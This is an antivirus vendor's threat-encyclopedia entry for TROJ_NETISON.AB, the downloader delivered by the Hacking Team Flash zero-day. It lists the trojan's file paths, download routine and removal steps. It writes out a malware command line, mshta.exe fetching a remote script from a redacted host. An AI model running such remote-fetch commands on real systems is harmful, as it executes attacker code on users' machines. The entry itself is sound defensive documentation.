Analysis by: Anthony Joe Melgarejo




  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes


Infection Channel:

Downloaded from the Internet

This is the detection for the payload related to the Hacking Team Flash zero-day affecting latest version of Flash in Windows, Mac, and Linux. Once this zero-day vulnerability has been successfully exploited, it downloads this malware. Users who visited the malicious website where the exploit is hosted, gets to download this malware on their system. TROJ_NETISON.AB downloads TROJ_FLASHUP.A and TROJ_FLASHUP.B.

To get a one-glance comprehensive view of the behavior of this Trojan, refer to the Threat Diagram shown below.

This Trojan may be downloaded by other malware/grayware from remote sites.


File Size:

1,271,808 bytes

File Type:


Memory Resident:


Initial Samples Received Date:

07 Jul 2015


Downloads files

Arrival Details

This Trojan may be downloaded by the following malware/grayware from remote sites:

Download Routine

This Trojan accesses the following websites to download files:

  • http://{BLOCKED}

It saves the files it downloads using the following names:

  • %Application Data%\flash\flash32.exe - detected as TROJ_FLASHUP.A
  • %Application Data%\Microsoft\Windows\Common\kbflashUpd.dll - detected as TROJ_FLASHUP.B


It creates an instance of mshta.exe with the following command line parameters:

  • mshta.exe "http://{BLOCKED}"


Minimum Scan Engine:


Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Remove the malware/grayware file that dropped/downloaded TROJ_NETISON.AB. (Note: Please skip this step if the threat(s) listed below have already been removed.)

Step 4

Remove malware/grayware files dropped/downloaded by TROJ_NETISON.AB. (Note: Please skip this step if the threats listed below have already been removed.)

Step 5

Scan your computer with your Trend Micro product to delete files detected as TROJ_NETISON.AB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

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